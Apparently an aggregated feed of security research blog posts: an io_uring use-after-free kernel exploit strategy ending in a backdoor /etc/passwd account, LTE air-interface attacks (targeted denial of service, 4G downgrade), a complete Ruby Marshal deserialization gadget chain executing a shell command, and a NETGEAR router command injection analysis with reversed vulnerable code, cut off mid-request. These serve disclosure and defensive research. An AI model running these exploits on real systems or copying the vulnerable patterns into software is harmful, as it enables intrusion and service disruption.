• Making an io_uring_register() system call with opcode IORING_REGISTER_PBUF_RING and the IOU_PBUF_RING_MMAP flag, so that the kernel itself allocates the memory for the provided buffer ring.

• mmap()ing the memory of the provided buffer ring with read and write permissions, using the io_uring file descriptor and the offset IORING_OFF_PBUF_RING.

• Unregistering the provided buffer ring by making an io_uring_register()system call with opcode IORING_UNREGISTER_PBUF_RING. 

At this point, the pages corresponding to the provided buffer ring have been returned to the page allocator, while the attacker still has a valid reference to them.

Spraying File Structures

The next step is spawning a large number of child processes, each one opening the file /etc/passwd many times with read-only permissions. This forces the allocation of corresponding file structures in the kernel.

By opening a large number of files, the attacker can force the exhaustion of the slabs in the filp cache. After that, new slabs will be allocated by requesting free pages from the page allocator. At some point, the pages that previously corresponded to the provided buffer ring, and to which the attacker still has read and write access, will be returned by the page allocator.

Hence, all of the file structures created after this point will be allocated in the attacker-controlled memory region, giving them the possibility to modify the structures.

Note that these child processes have to wait until indicated to proceed in the last stage of the exploit, so that the files are kept open and their corresponding structures are not freed.

Locating a File Structure in Memory

Although the attacker may have access to some slabs belonging to the filp cache, they don’t know where they are within the memory region. To identify these slabs, however, the attacker can search for the ext4_file_operations address at the offset of the file.f_op field within the file structure. When one is found, it can be safely assumed that it corresponds to the file structure of one instance of the previously opened /etc/passwd file.

Note that even when Kernel Address Space Layout Randomization (KASLR) is enabled, to identify the ext4_file_operations address in memory it is only necessary to know the offset of this symbol with respect to the _text symbol, so there is no need for a KASLR bypass. Indeed, given a value val of an unsigned integer found in memory at the corresponding offset, one can safely assume that it is the address of ext4_file_operations if:

• (val >> 32 & 0xffffffff) == 0xffffffff, i.e. the 32 most significant bits are all 1.
• (val & 0xfffff) == (ext4_fops_offset & 0xfffff), i.e. the 20 least significant bits of val and ext4_fops_offset, the offset of ext4_file_operations with respect to _text, are the same.

Changing File Permissions and Adding a Backdoor Account

Once a file structure corresponding to the /etc/passwd file is located in the memory region accessible by the attacker, it can be modified at will. In particular, setting the FMODE_WRITE and FMODE_CAN_WRITE flags in the file.f_mode field of the found structure will make the /etc/passwd file writable when using the corresponding file descriptor.

Moreover, setting the file.f_pos field of the found file structure to the current size of the /etc/passwd/ file, the attacker can ensure that any data written to it is appended at the end of the file.

To finish, the attacker can signal all the child processes spawned in the second stage to try to write to the opened /etc/passwd file. While most of all of such attempts will fail, as the file was opened with read-only permissions, the one corresponding to the modified file structure, which has write permissions enabled due to the modification of the file->f_mode field, will succeed.

Conclusion

To sum up, in this post we described a use-after-free vulnerability that was recently disclosed in the io_uring subsystem of the Linux kernel, and a data-only exploit strategy was presented. This strategy proved to be realitvely simple to implement. During our tests it proved to be very reliable and, when it failed, it did not affect the stability of the system. This strategy allowed us to exploit up-to-date versions of Ubuntu during the patch gap window of about two months.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Mind the Patch Gap: Exploiting an io_uring Vulnerability in Ubuntu appeared first on Exodus Intelligence.

In this blog post, we introduce LTair, a tool that allows NCC Group to perform different attacks on the LTE Control Plane via the air interface. It gives NCC the capability to assess the correct implementation of the LTE standard in operators’ systems and user equipment.

LTair

The LTair tool is the main outcome of an internal research whose main objective was to develop a tool and a methodology to assess the security posture of different elements of an LTE network, including the user equipment, via the most exposed interface: the air.

The attacks or vulnerabilities described in this post are known vulnerabilities extracted from several public papers (see “Public Papers” section).

LTair is based in the open source framework SRSran. This framework is able to emulate a complete LTE network: a rogue LTE base station (eNodeB), a full core network and a User Equipment (for example, a mobile phone). LTair can act as a User Equipment when the target is an operator, or as an operator when the victim is a User Equipment.

These attacks are performed over the air, this means that a transceiver compatible with SRSran framework should be used, a list of compatible devices and hardware options can be found in the SRSran documentation page.

For a better understanding, the identifiers from the attack included in this post have been simplified. More complex identifiers are used in real scenarios.

LTair can act as a User Equipment when the target is an operator, or as an operator when the victim is a User Equipment. The following icons will be used in each case:

Some of the most known attacks implemented include:

Capture sensitive information in eNodeB paging broadcast

LTE base stations (eNodeBs) transmit broadcast paging messages that can be captured by anyone listening in its frequency. These paging messages contain subscriber’s temporary identifiers (S-TMSIs), but they could also contain permanent identifiers (IMSIs). Permanent identifiers should never be transmitted in broadcast messages, since they uniquely identify a subscriber. If an attacker knows a subscriber’s permanent identifier and captures a paging message with the same IMSI on it, the subscriber’s location could be compromised.

Given a frequency, LTair is able to capture and monitor paging messages looking for subscriber’s permanent identifiers, detecting vulnerable operators.

The following screenshot shows paging requests captured and inspected with Wireshark:

Persistence of temporary identifiers after attachment procedure

Since subscriber’s temporary identifiers are included in broadcast paging messages, they need to be changed regularly to protect the privacy of the subscriber. If this identifier is kept unchanged for a long period of time, an attacker could capture paging messages, extract their temporary identifier and locate a subscriber.

With LTair, it is possible to verify if temporary identifiers change after a new attachment procedure.

The following example shows how the value of M-TMSI changed from the first attachment to the second:

Blind Denial of Service

There are two variants of this attack: in the first one, the victim is in “RRC Connected” state. This means that the user is “active”, using their phone. In the second variant, the victim is in “RRC Idle” state, meaning that the user is not transmitting or receiving data from/to the operator’s network, and it is waiting to receive new data from the network. A user “wakes up” and moves from “RRC Idle” to “RRC connected” when a paging message with his/her temporary identifier is received.

In both scenarios, this attack denies a targeted subscriber by establishing RRC connections spoofed as the victim UE, using his/her temporary identifier (in the diagram below, the victim temporary identifier would be “123”). When the operator receives a new radio request with the same temporary identifier, the previous radio connection is released and the victim is blindly disconnected from the network. Since the complete attachment is not performed, an attacker does not need keys to attach to the network (a valid SIM card), just the RRC channel needs to be established.

It must be noted that this attack is performed against the operator’s core network and denies service to a subscriber, so the victim and the attacker can be several kilometers apart.

Downgrade from 4G to 3G

The objective of this attack is to force a target user to downgrade its connection from LTE to 3G or, if 3G is not available, to 2G.

The attacker places a rogue 4G base station (eNodeB) close to the victim. When the target User Equipment (UE) detects a closer eNodeB, it initiates a TAU (Tracking Area Update) procedure. However, the rogue eNodeB responds with a TAU reject message, with cause number 7 which corresponds to “LTE services not allowed”. Since TAU reject messages are not protected and there is no need of mutual authentication, the UE accepts and sets the status to “EU3 ROAMING NOT ALLOWED”, considering the USIM UE invalid for LTE services until it is rebooted, the USIM is re-inserted or the airplane mode is turned on and off.

A successful downgrade attack can be seen in the following video. On the left, a mobile phone is plugged to the laptop where LTair was executed. It is connected to a 4G network, as indicated by the network icon on the top right. Then, LTair is executed and, when a TAU request is received, LTair replied with with a TAU reject cause number 7. Suddenly, the phone looses 4G connection, downgrading to 3G.

Denying all network services

The objective of this attack is to deny all network services to a target UE, including voice calls and SMS.

The same procedure from the “Downgrade from 4G to 3G” attack is followed. However, in this case, the rogue eNodeB responds with a TAU reject message with cause number 8, which is “LTE and non-LTE services not allowed”.

The same setup as the previous attack was employed. The phone, on the left side of the screen, was connected to a 4G network. Upon executing LTair, a TAU request was received, and LTair responded with a TAU reject cause number 8. This time, as indicated by the top-right icon on the phone, the connection to any network was lost.

Detach a victim from the network through spoofed UE-initiated Detach message

The attacker sends UE Detach Request message with an action of power-off to MME by putting victim’s S-TMSI in the message. The MME verifies the integrity of the messages, however, detach messages with power-off type are processed even if their integrity check fails. Once the MME receives this message, it releases victim’s network resources.

TAU Reject – custom cause

“Denying all network services” and “Downgrade from 4G to 3G” attacks are based on responding TAU reject with different causes when a TAU request is received. In this case, a custom cause can be established. The behaviour of the network varies depending on the cause. This attack could be used to verify the correct implementation of the Tracking Update Procedure on User Equipments.

Glossary

• UE: User Equipment.
• MME: Mobility Management Mobility.
• IMSI: Mobile Subscriber Identity.
• S-TMS: Serving Temporary Mobile Subscriber Identity.
• eNodeB: 3GPP-compliant implementation of 4G LTE base station.
• TAU: Tracking Area Update.
• DoS: Denial of Service.
• 3G: third-generation.
• 4G: forth-generation.
• LTE: Long Term Evolution, sometimes referred to as 4G LTE.
• RRC: Radio Resource Control.

Public Papers

• Sørseth, Christian et al. “Experimental Analysis of Subscribers’ Privacy Exposure by LTE Paging.” Wireless Personal Communications 109 (2018): 675 – 693.
• Rupprecht, D., Kohls, K.S., Holz, T., Pöpper, C. (2020). Call Me Maybe: Eavesdropping Encrypted LTE Calls With ReVoLTE. USENIX Security Symposium.
• Kim, H., Lee, J., Lee, E., Kim, Y. (2019). Touching the Untouchables: Dynamic Security Analysis of the LTE Control Plane. 2019 IEEE Symposium on Security and Privacy (SP), 1153-1168.
• Shaik, A., Borgaonkar, R., Asokan, N., Niemi, V., Seifert, J. (2015). Practical Attacks Against Privacy and Availability in 4G/LTE Mobile Communication Systems. ArXiv, abs/1510.07563.
• Raza, M.T., Anwar, F.M., Lu, S. (2017). Exposing LTE Security Weaknesses at Protocol Inter-layer, and Inter-radio Interactions. Security and Privacy in Communication Networks.

At Include Security we spend a good amount of time extending public techniques and creating new ones. In particular, when we are testing Ruby applications for our clients, we come across scenarios where there are no publicly documented Ruby deserialization gadget chains and we need to create a new one from scratch. But, if you have ever looked at the source code of a Ruby deserialization gadget chain, I bet you’ve thought “what sorcery is this”? Without having gone down the rabbit hole yourself it’s not clear what is happening or why any of it works, but you’re glad that it does work because it was the missing piece of your proof of concept. The goal of this post is to explain what goes into creating a gadget chain. We will explain the process a bit and then walk through a gadget chain that we created from scratch.

The final gadget chain in this post utilizes the following libraries: action_view, active_record, dry-types, and eventmachine. If your application is using all of these libraries then you’re in luck since at the end of the post you will have another documented gadget chain in your toolbox, at least until there are breaking code changes.

The Quest

A client of ours wanted to get a more concrete example of how deserialization usage in their application could be abused. The focus of this engagement was to create a full-fledged proof of concept from scratch.

The main constraints were:

• All application code and libraries were fair game to use in the gadget chain.
• We need to target two separate environments with Ruby versions 2.0.0 and 3.0.4 due to the usage of the application by the client in various environments.

The universal deserialization gadget from vakzz works for Ruby version <= 3.0.2 so we already had a win for the first environment that was using Ruby version 2.0.0. But we would need something new for the second environment. Universal gadget chains depend only on Gems that are loaded by default. These types of gadget chains are harder to find because there is less code to work with, but the advantage is that it can work in any environment. In this case, we don’t need to limit ourselves since we are making a gadget chain only for us.

Lay of the Land

Deserialization Basics

Before I continue, I would like to mention that these two blog posts are amazing resources and were a great source of inspiration for how to approach finding a new gadget chain. These blog posts give great primers on what makes a gadget chain work and then walk through the process of finding gadgets needed for a gadget chain. Both of these posts target universal gadget chains and even include some scripts to help you with the hunt.

• https://www.elttam.com/blog/ruby-deserialization/
• https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

In addition, reading up on Marshal will help you understand serialization and deserialization in Ruby. In an effort to not repeat a lot of what has already been said quite well, this post will leave out some of the details expressed in these resources.

Ruby Tidbits

Here are some quick Ruby tidbits that might not be obvious to non-Ruby experts, but are useful in understanding our gadget chain.

1. Class#allocate

Used to create a new instance of a class without calling the initialize function. Since we aren’t really using the objects the way they were intended we want to skip over using the defined constructor. You would use this instead of calling new. It may be possible to use the constructor in some cases, but it requires you to pass the correct arguments to create the object and this would just be making our lives harder for no benefit.

a = String.allocate

2. Object#instance_variable_set

Used to set an instance variable.

someObj.instance_variable_set('@name', 'abcd')

3. @varname

An instance variable.

4. Object#send

Invokes a method identified by a symbol.

Kernel.send(:system, 'touch/tmp/hello')

5. <<

Operators, including <<, are just Ruby methods and can be used as part of our gadget chain as well.

def <<(value)
    @another.call(value)
end

The Hunt

Preparation

The setup is pretty straightforward. You want to set up an environment with the correct version of Ruby, either using rvm or a docker image. Then you want to install all the Gems that your target application has. Now that everything is installed pull out grep, ripgrep, or even Visual Studio Code, if you are so inclined, and start searching in your directory of installed Gems. A quick way to find out what directory to start searching is by using the gem which <gem> command.

gem which rails
/usr/local/bundle/gems/railties-7.1.3/lib/rails.rb

So now we know that /usr/local/bundle/gems/ is where we begin our search. What do we actually search for?

Grep, Cry, Repeat

You are going to hit a lot of dead ends when creating a gadget chain, but you forget all about the pain once you finally get that touch command to write a file. Creating a gadget chain requires you to work on it from both ends, the initial kick off gadget and the code execution gadget. You make progress on both ends until eventually you meet halfway through a gadget that ties everything together. Overall the following things need to happen:

1. Find an initial kick off gadget, which is the start of the chain.
   • Find classes that implement the marshal_load instance method and that can be tied to other gadgets.
2. Find a way to trigger Kernel::system, which is the end of the chain.
   • You can also trigger any other function as well. It just depends on what you are trying to accomplish with your gadget chain.
3. Find a way to store and pass a shell command.
   • We do this with Gadget C later in the post.
4. Tie a bunch of random function calls to get you from the start to the end.

The main approach to step 1 was to load a list of Gems into a script and then use this neat Ruby script from Luke Jahnke:

ObjectSpace.each_object(::Class) do |obj|
  all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods

  if all_methods.include? :marshal_load
    method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s

    puts obj
    puts "  marshal_load defined by #{method_origin}"
    puts "  ancestors = #{obj.ancestors}"
    puts
  end
end

The main approach to steps 2-4 was to look for instance variables that have a method called on them In other words look for something like @block.send(). The reason being so that we can set the instance variable to another object and call that method on it.

Believe it or not, the workhorse for this process were the two following commands. The purpose of these commands was to find variations of @variable.method( as previously explained.

grep --color=always -B10 -A10 -rE '@[a-zA-Z0-9_]+\.[a-zA-Z0-9_]+\(' --include \*.rb | less

Occasionally, I would narrow down the method using a modified grep when I wanted to look for a specific method to fit in the chain. In this case I was looking for @variable.write(.

grep --color=always -B10 -A10 -rE '@[a-zA-Z0-9_]+\.write\(' --include \*.rb | less

There is a small chance that valid gadgets could consist of unicode characters or even operators so these regexes aren’t perfect, but in this case they were sufficient to discover the necessary gadgets.

It’s hard to have one consistent approach to finding a gadget chain, but this should give you a decent starting point.

Completed Gadget Chain

Now let’s go through the final gadget chain that we came up with and try to make sense of it. The final chain utilized the following libraries: action_view, active_record, dry-types, and eventmachine.

require 'action_view' # required by rails
require 'active_record' # required by rails
require 'dry-types' # required by grape
require 'eventmachine' # required by faye

COMMAND = 'touch /tmp/hello'

# Gadget A
a = Dry::Types::Constructor::Function::MethodCall::PrivateCall.allocate
a.instance_variable_set('@target', Kernel)
a.instance_variable_set('@name', :system)

# Gadget B
b = ActionView::StreamingBuffer.allocate
b.instance_variable_set('@block', a) # Reference to Gadget A

# Gadget C
c  = BufferedTokenizer.allocate
c.instance_variable_set('@trim', -1)
c.instance_variable_set('@input', b) # Reference to Gadget B
c.instance_variable_set('@tail', COMMAND)

# Gadget D
d = Dry::Types::Constructor::Function::MethodCall::PrivateCall.allocate
d.instance_variable_set('@target', c) # Reference to Gadget C
d.instance_variable_set('@name', :extract)

# Gadget E
e = ActionView::StreamingTemplateRenderer::Body.allocate
e.instance_variable_set('@start', d) # Reference to Gadget D

# Override marshal_dump method to avoid execution
# when serializing.
module ActiveRecord
  module Associations
    class Association
      def marshal_dump
        @data
      end
    end
  end
end

# Gadget F
f = ActiveRecord::Associations::Association.allocate
f.instance_variable_set('@data', ['', e]) # Reference to Gadget E

# Serialize object to be used in another application through Marshal.load()
payload = Marshal.dump(f) # Reference to Gadget F

# Example deserialization of the serialized object created
Marshal.load(payload)

The gadgets are labeled A -> F and defined in this order in the source code, but during serialization/deserialization the process occurs starting from F -> A. We pass Gadget F to the Marshal.dump function which kicks off the chain until we get to Gadget A.

Visualization

The following diagram visualizes the flow of the gadget chain. This is a high-level recap of the gadget chain in the order it actually gets executed.

Note: The word junk is used as a placeholder any time a function is receiving an argument, but the actual argument does not matter to our gadget chain. We often don’t even control the argument in these cases.

The next few sections will break down the gadget chain into smaller pieces and have annotations along with the library source code that explains what we are doing at each step.

Code Walkthrough

Libraries

Chain Source

require 'action_view' # required by rails
require 'active_record' # required by rails
require 'dry-types' # required by grape
require 'eventmachine' # required by faye

COMMAND = 'touch /tmp/hello'

• Include all the necessary libraries for this gadget chain. The environment we tested used rails, grape, and faye which imported all of the necessary libraries.
• COMMAND is the command that will get executed by the gadget chain when it is deserialized.

Gadget A

Chain Source

a = Dry::Types::Constructor::Function::MethodCall::PrivateCall.allocate
a.instance_variable_set('@target', Kernel)
a.instance_variable_set('@name', :system)

Library Source

# https://github.com/dry-rb/dry-types/blob/cfa8330a3cd9461ed60e41ab6c5d5196f56091c4/lib/dry/types/constructor/function.rb#L85-L89
  class PrivateCall < MethodCall
    def call(input, &block)
      @target.send(@name, input, &block)
    end
  end

• Allocate PrivateCall as a.
• Set @target instance variable to Kernel.
• Set @name instance variable to :system.

Result: When a.call('touch /tmp/hello') gets called from Gadget B, this gadget will then call Kernel.send(:system, 'touch/tmp/hello', &block).

Gadget B

Chain Source

b = ActionView::StreamingBuffer.allocate
b.instance_variable_set('@block', a)

Library Source

# https://github.com/rails/rails/blob/f0d433bb46ac233ec7fd7fae48f458978908d905/actionview/lib/action_view/buffers.rb#L108-L117
  class StreamingBuffer # :nodoc:
    def initialize(block)
      @block = block
    end

    def <<(value)
      value = value.to_s
      value = ERB::Util.h(value) unless value.html_safe?
      @block.call(value)
    end

• Allocate StreamingBuffer as b.
• Set @block instance variable to Gadget A, a.

Result: When b << 'touch /tmp/hello' gets called, this gadget will then call a.call('touch /tmp/hello').

Gadget C

Chain Source

c  = BufferedTokenizer.allocate
c.instance_variable_set('@trim', -1)
c.instance_variable_set('@input', b)
c.instance_variable_set('@tail', COMMAND)

Library Source

# https://github.com/eventmachine/eventmachine/blob/42374129ab73c799688e4f5483e9872e7f175bed/lib/em/buftok.rb#L6-L48
class BufferedTokenizer

...omitted for brevity...

  def extract(data)
    if @trim > 0
      tail_end = @tail.slice!(-@trim, @trim) # returns nil if string is too short
      data = tail_end + data if tail_end
    end

    @input << @tail
    entities = data.split(@delimiter, -1)
    @tail = entities.shift

    unless entities.empty?
      @input << @tail
      entities.unshift @input.join
      @input.clear
      @tail = entities.pop
    end

    entities
  end

• Allocate BufferedTokenizer as c.
• Set @trim instance variable to -1 to skip the first if statement.
• Set @input instance variable to Gadget B, b.
• Set @tail instance variable to the command that will eventually get passed to Kernel::system.

Result: When c.extract(junk) gets called, this gadget will then call b << 'touch /tmp/hello'.

Gadget D

Chain Source

d = Dry::Types::Constructor::Function::MethodCall::PrivateCall.allocate
d.instance_variable_set('@target', c)
d.instance_variable_set('@name', :extract)

Library Source

# https://github.com/dry-rb/dry-types/blob/cfa8330a3cd9461ed60e41ab6c5d5196f56091c4/lib/dry/types/constructor/function.rb#L85-L89
  class PrivateCall < MethodCall
    def call(input, &block)
      @target.send(@name, input, &block)
    end
  end

• Allocate PrivateCall as d.
• Set @target instance variable to Gadget C, c.
• Set @name instance variable to :extract, as the method that will be called on c.

Result: When d.call(junk) gets called, this gadget will then call c.send(:extract, junk, @block).

Gadget E

Chain Source

e = ActionView::StreamingTemplateRenderer::Body.allocate
e.instance_variable_set('@start', d)

Library Source

# https://github.com/rails/rails/blob/f0d433bb46ac233ec7fd7fae48f458978908d905/actionview/lib/action_view/renderer/streaming_template_renderer.rb#L14-L27
class Body # :nodoc:
  def initialize(&start)
    @start = start
  end

  def each(&block)
    begin
      @start.call(block)
    rescue Exception => exception
      log_error(exception)
      block.call ActionView::Base.streaming_completion_on_exception
    end
    self
  end

• Allocate Body as e.
• Set @start instance variable to Gadget D, d.

Result: When e.each(junk) is called, this gadget will then call d.call(junk).

Gadget F

Chain Source

module ActiveRecord
  module Associations
    class Association
      def marshal_dump
        @data
      end
    end
  end
end

f = ActiveRecord::Associations::Association.allocate
f.instance_variable_set('@data', ['', e])

Library Source

# https://github.com/rails/rails/blob/f0d433bb46ac233ec7fd7fae48f458978908d905/activerecord/lib/active_record/associations/association.rb#L184-L193

  def marshal_dump
    ivars = (instance_variables - [:@reflection, :@through_reflection]).map { |name| [name, instance_variable_get(name)] }
    [@reflection.name, ivars]
  end

  def marshal_load(data)
    reflection_name, ivars = data
    ivars.each { |name, val| instance_variable_set(name, val) }
    @reflection = @owner.class._reflect_on_association(reflection_name)
  end

• Override the marshal_dump method so that we only serialize @data.
• Allocate Association as f.
• Set @data instance variable to the array ['', e] where e is Gadget E. The empty string at index 0 is not used for anything.

Result: When deserialization begins, this gadget will then call e.each(junk).

Serialize and Deserialize

payload = Marshal.dump(f)

• Gadget F, f is passed to Marshal.dump and the entire gadget chain is serialized and stored in payload. The marshal_load function in Gadget F will be invoked upon deserialization.

If you want to execute the payload you just generated you can pass the payload back into Marshal.load. Since we already have all the libraries loaded in this script it will deserialize and execute the command you defined.

Marshal.load(payload)

• payload is passed to Marshal.load to deserialize the gadget chain and execute the command.

We have just gone through the entire gadget chain from end to start. I hope this walk through helped to demystify the process a bit and give you a bit of insight into the process that goes behind creating a deserialization gadget chain. I highly recommend going through the exercise of creating a gadget chain from scratch, but be warned that at times it feels very tedious and unrewarding, until all the pieces click together.

If you’re a Ruby developer, what can you take away from reading this? This blog post has been primarily focused on an exploitation technique that is inherent in Ruby, so there isn’t anything easy to do to prevent it. Your best bet is to focus on ensuring that the risks of deserialization are not present in your application. To do that, be very careful when using Marshal.load(payload) and ensure that no user controlled payloads find their way into the deserialization process. This also applies to any other parsing you may do in Ruby that uses Marshal.load behind the scenes. Some examples include: YAML, CSV, and Oj. Make sure to also read through the documentation for your libraries to see if there is any “safe” loading which may help to reduce the risk.

Credit for the title artwork goes to Pau Riva.

The post Discovering Deserialization Gadget Chains in Rubyland appeared first on Include Security Research Blog.

“Security is in the mind of […]

The post Multiple vulnerabilities in RT-Thread RTOS appeared first on hn security.

• Summary
• Vulnerability details
  • Storing /tmp/fw/cfu_url_cache
    • /bin/pucfu
    • /usr/lib/libfwcheck.so
  • pufwUpgrade -A
  • Example checkFirmware HTTP request/response
    • Request
    • Response
    • Command injection response
• Triggering in Pwn2Own
  • Controlling the device time
  • Predicting the cron job time
  • Geographical Differences?
  • Did it work?
  • Patch
• Conclusion

Summary

Previously we posted details on a NETGEAR WAN Command Injection identified during Pwn2Own Toronto 2022, titled Puckungfu: A NETGEAR WAN Command Injection.

The exploit development group (EDG) at NCC Group were working on finding and developing exploits for multiple months prior to the Pwn2Own Toronto 2022 event, and managed to identify a large number of zero day vulnerabilities for the event across a range of targets.

However, NETGEAR released a patch a few days prior to the event, which patched the specific vulnerability we were planning on using at Pwn2Own Toronto 2022, wiping out our entry for the NETGEAR WAN target, or so we thought…

The NETGEAR /bin/pucfu binary executes during boot, and performs multiple HTTPS requests to the domains devcom.up.netgear.com and devicelocation.ngxcld.com. We used a DHCP server to control the DNS server that is assigned to the router’s WAN interface. By controlling the response of the DNS lookups, we can cause the router to talk to our own web server. An HTTPS web server using a self-signed certificate was used to handle the HTTPS request, which succeeded due to improper certificate validation (as described in StarLabs’ The Last Breath of Our Netgear RAX30 Bugs – A Tragic Tale before Pwn2Own Toronto 2022 post). Our web server then responded with multiple specially crafted JSON responses that end up triggering a command injection in /bin/pufwUpgrade which is executed by a cron job.

Vulnerability details

Storing /tmp/fw/cfu_url_cache

The following code has been reversed engineered using Ghidra, and shows how an attacker-controlled URL is retrieved from a remote web server and stored locally in the file /tmp/fw/cfu_url_cache.

/bin/pucfu

The following snippet of code shows the get_check_fw function is called in /bin/pucfu, which retrieves the JSON URL from https://devcom.up.netgear.com/UpBackend/checkFirmware/ and stores it in the bufferLargeA variable. bufferLargeA is then copied to bufferLargeB and passed to the SetFileValue function as the value parameter. This stores the retrieved URL in the /tmp/fw/cfu_url_cache file for later use.

int main(int argc,char **argv)
{
    ...
    // Perform API call to retrieve data
    // Retrieve attacker controlled data into bufferLargeA
    status = get_check_fw(callMode, 0, bufferLargeA, 0x800);
    ...
    // Set reason / lastURL / lastChecked in /tmp/fw/cfu_url_cache
    sprintf(bufferLargeB, "%d", callMode);
    SetFileValue("/tmp/fw/cfu_url_cache", "reason", bufferLargeB);

    strcpy(bufferLargeB, bufferLargeA);
    // Attacker controlled data passed as value parameter
    SetFileValue("/tmp/fw/cfu_url_cache", "lastURL", bufferLargeB);

    time _time = time((time_t *)0x0);
    sprintf(bufferLargeB, "%lu", _time);
    SetFileValue("/tmp/fw/cfu_url_cache", "lastChecked", bufferLargeB);
    ...
}

/usr/lib/libfwcheck.so

The get_check_fw function defined in /usr/lib/libfwcheck.so prepares request parameters from the device settings, such as the device model, and calls fw_check_api passing through the URL buffer from main.

int get_check_fw(int mode, byte betaAcceptance, char *urlBuffer, size_t urlBufferSize)
{
    ...
    char upBaseUrl[136];
    char deviceModel[64];
    char fwRevision[64];
    char fsn[16];
    uint region;

    // Retrieve data from D2
    d2_get_ascii(DAT_00029264, "UpCfg", 0,"UpBaseURL", upBaseUrl, 0x81);
    d2_get_string(DAT_00029264, "General", 0,"DeviceModel", deviceModel, 0x40);
    d2_get_ascii(DAT_00029264, "General", 0,"FwRevision", fwRevision, 0x40);
    d2_get_ascii(DAT_00029264, "General", 0,  DAT_000182ac, fsn, 0x10);
    d2_get_uint(DAT_00029264, "General", 0, "Region",  region);

    // Call Netgear API and store response URL into urlBuffer
    ret = fw_check_api(
        upBaseUrl, deviceModel, fwRevision, fsn,
        region, mode, betaAcceptance, urlBuffer, urlBufferSize
    );
    ...
}

The fw_check_api function performs a POST request to the endpoint with the data as a JSON body. The JSON response is then parsed and the url data value is copied to the urlBuffer parameter.

uint fw_check_api(
    char *baseUrl, char *modelNumber, char *currentFwVersion,
    char *serialNumber, uint regionCode, int reasonToCall,
    byte betaAcceptance, char *urlBuffer, size_t urlBufferSize
)
{
    ...
    // Build JSON request
    char json[516];
    snprintf(json, 0x200,
        "{\"token\":\"%s\",\"ePOCHTimeStamp\":\"%s\",\"modelNumber\":\"%s\","
        "\"serialNumber\":\"%s \",\"regionCode\":\"%u\",\"reasonToCall\":\"%d\","
        "\"betaAcceptance\":%d,\"currentFWVersion \":\"%s\"}",
        token, epochTimestamp, modelNumber, serialNumber, regionCode, reasonToCall,
        (uint)betaAcceptance, currentFwVersion);

    snprintf(checkFwUrl, 0x80, "%s%s", baseUrl, "checkFirmware/");

    // Perform HTTPS request
    int status = curl_post(checkFwUrl, json,  response);
    char* _response = response;

    ...

    // Parse JSON response
    cJSON *jsonObject = cJSON_Parse(_response);

    // Get status item
    cJSON *jsonObjectItem = cJSON_GetObjectItem(jsonObject, "status");
    if ((jsonObjectItem != (cJSON *)0x0)    (jsonObjectItem->type == cJSON_Number)) {
        state = 0;
        (*(code *)fw_debug)(1,"\nStatus 1 received\n");

        // Get URL item
        cJSON *jsonObjectItemUrl = cJSON_GetObjectItem(jsonObject,"url");

        // Copy url into url buffer
        int snprintfSize = snprintf(
            urlBuffer,
            urlBufferSize,
            "%s",
            jsonObjectItemUrl->valuestring
        );
        ...
        return state;
    }
    ...
}

The curl_post function performs an HTTPS POST request using curl_easy. During this request, verification of the SSL certificate returned by the web server, and the check to ensure the server’s host name matches the host name in the SSL certificate are both disabled. This means that it will make a request to any server that we can convince it to use, allowing us to control the content of the lastURL value in the /tmp/fw/cfu_url_cache file.

size_t curl_post(char *url, char *json, char **response)
{
    ...
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json);
    // Host name vs SSL certificate host name checks disabled
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);
    // SSL certificate verification disabled
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
    ...
}

pufwUpgrade -A

Next, pufwUpgrade -A is called from a cron job defined in /var/spool/cron/crontabs/cfu which executes at a random time between 01:00am and 04:00am.

This triggers the PuCFU_Check function to be called, which reads the lastURL value from /tmp/fw/cfu_url_cache into the global variable gLastUrl:

int PuCFU_Check(int param_1)
{
    ...
    iVar2 = GetFileValue("/tmp/fw/cfu_url_cache", "lastURL",  lastUrl, 0x800);
    ...
    DBG_PRINT("%s:%d urlVal=%s\n", "PuCFU_Check", 0x102,  lastUrl);
    snprintf( gLastUrl, 0x800, "%s",  lastUrl);
    ...

Then, checkFirmware is called which saves the gLastUrl value to the Img_url key in /data/fwLastChecked:

int checkFirmware(int param_1)
{
    ...
    snprintf(Img_url, 0x400, "%s",  gLastUrl);
    ...
    SetFileValue("/data/fwLastChecked", "Img_url", Img_url);
    ...

The FwUpgrade_DownloadFW function is later called which retrieves the Img_url value from /data/fwLastChecked, and if downloading the file from that URL succeeds due to a valid HTTP URL, proceeds to call saveCfuLastFwpath:

int FwUpgrade_DownloadFW()
{
    ...
    iVar1 = GetFileValue("/data/fwLastChecked", "Img_url",  fileValueBuffer, 0x400);
    ...
    snprintf(Img_url, 0x400, "%s",  fileValueBuffer);
    ...
    snprintf(imageUrl, 0x801, "%s/%s/%s", Img_url,  regionName, Img_file);
    ...
    do {
        ...
        uVar2 = DownloadFiles( imageUrl, "/tmp/fw/dl_fw", "/tmp/fw/dl_result", 0);
        if (uVar2 == 0) {
            iVar1 = GetDLFileSize("/tmp/fw/dl_fw");
            if (iVar1 != 0) {
                ...
                snprintf(fileValueBuffer, 0x801, "%s/%s", Img_url,  regionName);
                saveCfuLastFwpath(fileValueBuffer);
                ...

Finally, the saveCfuLastFwpath function (vulnerable to a command injection) is called with a parameter whose value contains the Img_url that we control. This string is formatted and then passed to the system command:

int saveCfuLastFwpath(char *fwPath)
{
    char command [1024];
    memset(command, 0, 0x400);
    snprintf(command, 0x400, "rm %s", "/data/cfu_last_fwpath");
    system(command);
    // Command injection vulnerability
    snprintf(command, 0x400, "echo \"%s\" > %s", fwPath, "/data/cfu_last_fwpath");
    DBG_PRINT( DAT_0001620f, command);
    system(command);
    return 0;
}

Example checkFirmware HTTP request/response

Request

The following request is a typical JSON payload for the HTTP request performed by the pucfu binary to retrieve the check firmware URL.

{
    "token": "5a4e4c697a2c40a7f24ae51381abbcea1aeadff2e31d5a2f49cc0f26e3e2219e",
